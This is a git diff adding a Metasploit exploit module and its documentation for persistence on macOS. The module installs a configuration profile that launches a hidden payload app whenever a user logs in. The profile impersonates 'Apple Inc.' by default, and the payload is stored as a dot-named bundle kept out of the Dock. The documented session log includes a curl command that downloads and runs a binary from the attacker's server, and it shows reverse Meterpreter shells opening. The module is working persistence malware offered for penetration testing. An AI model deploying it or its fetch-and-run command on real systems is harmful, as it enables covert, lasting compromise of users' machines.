diff --git a/documentation/modules/exploit/osx/persistence/profile.md b/documentation/modules/exploit/osx/persistence/profile.md new file mode 100644 index 0000000000000..3da24d1571344 --- /dev/null +++ b/documentation/modules/exploit/osx/persistence/profile.md @@ -0,0 +1,170 @@ +## Vulnerable Application + +This module provides a persistent payload by installing a configuration +profile (mobileconfig) containing a Login Items payload +(`com.apple.loginitems.managed`) which launches the payload whenever a user +logs in. The payload executes in the context of the logging in user, not +root. + +On macOS 10.15 and earlier the profile is installed silently with the +`profiles` command line tool, which requires root. Starting with macOS 11 +Big Sur, the `profiles` tool no longer supports command line installs, so +the module opens the profile in System Settings instead, which requires +the user to approve the installation in the GUI. + +The payload must be stored in a location readable and executable by all +users (for example `/var/tmp`), otherwise the login item will fail to +launch at login. The payload is wrapped in an application bundle, as login +items pointing at bare executables are opened with Terminal. + +## Verification Steps + +1. Start msfconsole +1. Get a root shell on the target +1. Do: `use exploit/osx/persistence/profile` +1. Do: `set session ` +1. Do: `set WritableDir /var/tmp` +1. Do: `run` +1. On macOS 11+, approve the profile installation in System Settings on the target +1. Log out and back in on the target (or set `RUN_NOW true`) +1. You should get a new shell as the logging in user. + +## Options + +### PROFILE_NAME + +Display name of the configuration profile as it appears in System Settings. +Defaults to `System Configuration`. + +### PROFILE_ORG + +Organization name of the configuration profile as it appears in System +Settings. Defaults to `Apple Inc.`. + +### LOGIN_ITEM_NAME + +Display name of the login item payload within the profile, shown when viewing +the profile details in System Settings. Defaults to `Login Item`. + +### RUN_NOW + +Run the installed payload immediately (as root, since the current session is +root). Note that at login the payload executes as the logging in user. +Defaults to `false`. + +## Scenarios + +### macOS 11.7.11 + +Initial root shell + +``` +resource (/home/h00die/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/home/h00die/.msf4/msfconsole.rc)> setg session -1 +session => -1 +resource (/home/h00die/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/home/h00die/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/home/h00die/.msf4/msfconsole.rc)> set target 8 +target => 8 +resource (/home/h00die/.msf4/msfconsole.rc)> set srvport 8083 +srvport => 8083 +resource (/home/h00die/.msf4/msfconsole.rc)> set uripath o +uripath => o +resource (/home/h00die/.msf4/msfconsole.rc)> set payload payload/osx/x64/meterpreter/reverse_tcp +payload => osx/x64/meterpreter/reverse_tcp +resource (/home/h00die/.msf4/msfconsole.rc)> set lport 4447 +lport => 4447 +resource (/home/h00die/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 1.1.1.1:4447 + +[*] Using URL: http://1.1.1.1:8083/o +[*] Server started. +[*] Run the following command on the target machine: +curl -sk --output hg5ZjYdd http://1.1.1.1:8083/o; chmod +x hg5ZjYdd; ./hg5ZjYdd& disown +msf exploit(multi/script/web_delivery) > [*] Transmitting first stager...(214 bytes) +[*] Transmitting second stager...(29648 bytes) +[*] Sending stage (874608 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4447 -> 2.2.2.2:49264) at 2026-08-09 18:53:58 -0400 + +msf exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : h00dies-MacBook-Pro.local +OS : macOS Big Sur (macOS 11.7.11) +Architecture : x86 +BuildTuple : x86_64-apple-darwin +Meterpreter : x64/osx +meterpreter > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +msf exploit(multi/script/web_delivery) > use exploit/osx/persistence/profile +[*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp +msf exploit(osx/persistence/profile) > set writabledir /var/tmp +writabledir => /var/tmp +msf exploit(osx/persistence/profile) > exploit +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. + +[*] Started reverse TCP handler on 1.1.1.1:4444 +msf exploit(osx/persistence/profile) > [*] Running automatic check ("set AutoCheck false" to disable) +[*] macOS 11.7.11 requires the user to approve the profile installation in System Settings +[+] The target appears to be vulnerable. Session is root, and /var/tmp is writable +[*] Writing payload application to /var/tmp/.XMtoxJLg.app... +[*] Creating directory /var/tmp/.XMtoxJLg.app/Contents/MacOS +[*] /var/tmp/.XMtoxJLg.app/Contents/MacOS created +[+] Payload application stored to /var/tmp/.XMtoxJLg.app +[+] Profile stored to /var/tmp/.oCCxXSdb.mobileconfig +[*] profiles install output: profiles tool no longer supports installs. Use System Preferences Profiles to add configuration profiles. +[!] This version of macOS does not support command line profile installation, opening System Settings for user approval +[*] The target user will be prompted to approve the profile installation +[*] Meterpreter-compatible Cleanup RC file: /home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260809.5428/h00dies-MacBook-Pro.local_20260809.5428.rc +``` + +Click to install the new profile + +Reboot the system + +``` +msf exploit(osx/persistence/profile) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > shell +Process 673 created. +Channel 13 created. +reboot + + +[*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died +``` + +Log back in + +``` +[*] Transmitting first stager...(214 bytes) +[*] Transmitting second stager...(29648 bytes) +[*] Sending stage (874608 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49171) at 2026-08-09 18:57:46 -0400 + + +Terminate channel 13? [y/N] y +[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact --timeout +msf exploit(osx/persistence/profile) > sessions -i 2 +[*] Starting interaction with 2... + +gmeterpreter > getuid +Server username: h00die +meterpreter > background +[*] Backgrounding session 2... +``` diff --git a/modules/exploits/osx/persistence/profile.rb b/modules/exploits/osx/persistence/profile.rb new file mode 100644 index 0000000000000..bd1e2f1592bc9 --- /dev/null +++ b/modules/exploits/osx/persistence/profile.rb @@ -0,0 +1,294 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# frozen_string_literal: true + +require 'securerandom' + +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking # due to user interaction required + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::OSX::Priv + include Msf::Exploit::EXE + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Configuration Profile Persistence', + 'Description' => %q{ + This module provides a persistent payload by installing a configuration + profile (mobileconfig) containing a Login Items payload + (com.apple.loginitems.managed) which launches the payload whenever a user + logs in. The payload executes in the context of the logging in user, not + root. + + On macOS 10.15 and earlier the profile is installed silently with the + profiles command line tool, which requires root. Starting with macOS 11 + Big Sur, the profiles tool no longer supports command line installs, so + the module opens the profile in System Settings instead, which requires + the user to approve the installation in the GUI. + + The payload must be stored in a location readable and executable by all + users (for example /var/tmp), otherwise the login item will fail to + launch at login. The payload is wrapped in an application bundle, as + login items pointing at bare executables are opened with Terminal. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Phil Stokes', # SentinelOne blog - documentation of the technique + 'h00die' # msf module + ], + 'Targets' => [ + [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ], + [ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ], + [ 'Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }] + ], + 'DefaultTarget' => 0, + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'DisclosureDate' => '2022-10-27', # https://www.sentinelone.com/blog/how-malware-persists-on-macos/ updated date + 'Privileged' => false, # the payload executes as the logging in user + 'References' => [ + ['URL', 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'], + ['URL', 'https://developer.apple.com/documentation/devicemanagement/loginitems'], + ['ATT&CK', Mitre::Attack::Technique::T1547_015_LOGIN_ITEMS] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, SCREEN_EFFECTS] + } + ) + ) + + register_options([ + OptString.new('PROFILE_NAME', [true, 'Display name of the configuration profile.', 'System Configuration']), + OptString.new('PROFILE_ORG', [true, 'Organization name of the configuration profile.', 'Apple Inc.']), + OptString.new('LOGIN_ITEM_NAME', [true, 'Display name of the login item payload within the profile.', 'Login Item']), + OptBool.new('RUN_NOW', [false, 'Run the installed payload immediately.', false]) + ]) + end + + def check + return CheckCode::Safe('Session is not running as root, unable to install configuration profiles') unless is_root? + return CheckCode::Safe("#{writable_dir} not writable") unless writable?(writable_dir) + + version = os_version + if version && version >= Rex::Version.new('11.0') + print_status("macOS #{version} requires the user to approve the profile installation in System Settings") + end + unless user_accessible?(writable_dir) + print_warning("#{writable_dir} is not accessible by all users. The payload executes as the logging in user, choose a world executable location such as /var/tmp.") + end + + CheckCode::Appears("Session is root, and #{writable_dir} is writable") + end + + def install_persistence + payload_bin = generate_payload_exe + + write_payload(payload_bin) + write_profile + install_profile + + return unless datastore['RUN_NOW'] + + print_status('Running payload now') + cmd_exec(payload_path) + end + + def install_profile + output = create_process('/usr/bin/profiles', args: ['install', '-path', profile_path]) + vprint_status("profiles install output: #{output}") + + if output.include?('no longer supports install') + print_warning('This version of macOS does not support command line profile installation, opening System Settings for user approval') + open_profile_gui + elsif cmd_exec('/usr/bin/profiles list').include?(profile_id) + print_good("Profile installed: #{datastore['PROFILE_NAME']} (#{profile_id})") + else + fail_with(Failure::UnexpectedReply, "Error installing profile: #{output}") + end + @clean_up_rc << "execute -f /usr/bin/profiles -a \"remove -identifier #{profile_id}\"\n" + end + + # starting with macOS 11 Big Sur, profiles must be approved by the user in the + # GUI, so open the profile which prompts the user to approve the installation, + # then open the Profiles pane in System Preferences where the profile awaits + # approval. open must run in the console user's GUI context, a plain open from + # this session fails with LaunchServices errors. + def open_profile_gui + print_status('The target user will be prompted to approve the profile installation') + uid = cmd_exec('/usr/bin/stat -f %u /dev/console').strip + output = create_process('/bin/launchctl', args: ['asuser', uid, '/usr/bin/open', profile_path]) + if output.blank? + open_profiles_pane(uid) + return + end + + vprint_status("launchctl asuser open failed (#{output}), trying open directly") + output = create_process('/usr/bin/open', args: [profile_path]) + return if output.blank? + + print_error("Unable to prompt for profile approval: #{output}") + print_error("The user must manually open #{profile_path} to install the profile") + end + + # opens the Profiles pane in the System Preferences GUI, where the downloaded + # profile is listed with an Install button + def open_profiles_pane(uid) + version = os_version + if version && version >= Rex::Version.new('13.0') + # macOS 13 Ventura moved settings to System Settings.app + output = create_process('/bin/launchctl', args: ['asuser', uid, '/usr/bin/open', 'x-apple.systempreferences:com.apple.Profiles-Settings.extension']) + else + output = create_process('/bin/launchctl', args: ['asuser', uid, '/usr/bin/open', '-a', 'System Preferences', '/System/Library/PreferencePanes/Profiles.prefPane']) + end + vprint_status("Opening the Profiles pane failed: #{output}") unless output.blank? + end + + def os_version + version_str = cmd_exec('/usr/bin/sw_vers -productVersion').strip + return nil unless version_str =~ /^\d+(\.\d+)*$/ + + Rex::Version.new(version_str) + rescue StandardError + nil + end + + # the payload executes as the logging in user, so every directory in its path + # must be world executable + def user_accessible?(dir) + parts = dir.split('/').reject(&:empty?) + components = (1..parts.length).map { |i| "/#{parts[0...i].join('/')}" } + modes = cmd_exec("/usr/bin/stat -L -f %Sp #{components.join(' ')}").split("\n") + return false unless modes.length == components.length + + # world executable directories show x, or t when sticky (e.g. /var/tmp is drwxrwxrwt) + modes.all? { |mode| ['x', 't'].include?(mode[9]) } + rescue StandardError + false + end + + def app_path + @app_path ||= File.join(writable_dir, ".#{Rex::Text.rand_text_alpha(8)}.app") + end + + def payload_name + @payload_name ||= Rex::Text.rand_text_alpha(8) + end + + def payload_path + @payload_path ||= File.join(app_path, 'Contents', 'MacOS', payload_name) + end + + def profile_path + @profile_path ||= File.join(writable_dir, ".#{Rex::Text.rand_text_alpha(8)}.mobileconfig") + end + + def profile_id + @profile_id ||= "com.#{Rex::Text.rand_text_alpha_lower(8)}.#{Rex::Text.rand_text_alpha_lower(8)}" + end + + # login items are launched through LaunchServices, which opens bare executables + # with Terminal, so the payload is wrapped in a minimal application bundle. + # LSUIElement keeps it out of the Dock. + def write_payload(exe) + print_status("Writing payload application to #{app_path}...") + mkdir(File.dirname(payload_path), cleanup: false) unless directory?(File.dirname(payload_path)) + + unless write_file(payload_path, exe) + fail_with(Failure::UnexpectedReply, "Error writing payload to #{payload_path}") + end + unless write_file(File.join(app_path, 'Contents', 'Info.plist'), info_plist) + fail_with(Failure::UnexpectedReply, "Error writing Info.plist to #{app_path}") + end + + print_good("Payload application stored to #{app_path}") + chmod(payload_path, 0o755) + @clean_up_rc << "rm -rf #{app_path}\n" + end + + def info_plist + <<~EOF + + + + + CFBundleExecutable + #{payload_name} + CFBundleIdentifier + #{profile_id}.app + CFBundleName + #{datastore['LOGIN_ITEM_NAME']} + CFBundlePackageType + APPL + CFBundleVersion + 1 + LSUIElement + + + + EOF + end + + def write_profile + if write_file(profile_path, mobileconfig) + print_good("Profile stored to #{profile_path}") + @clean_up_rc << "rm #{profile_path}\n" + else + fail_with(Failure::UnexpectedReply, "Error writing profile to #{profile_path}") + end + end + + def mobileconfig + <<~EOF + + + + + PayloadContent + + + PayloadType + com.apple.loginitems.managed + PayloadVersion + 1 + PayloadIdentifier + #{profile_id}.payload + PayloadUUID + #{SecureRandom.uuid.upcase} + PayloadDisplayName + #{datastore['LOGIN_ITEM_NAME']} + AutoLaunchedApplicationDictionary-managed + + + Path + #{app_path} + + + + + PayloadDisplayName + #{datastore['PROFILE_NAME']} + PayloadIdentifier + #{profile_id} + PayloadOrganization + #{datastore['PROFILE_ORG']} + PayloadType + Configuration + PayloadUUID + #{SecureRandom.uuid.upcase} + PayloadVersion + 1 + + + EOF + end +end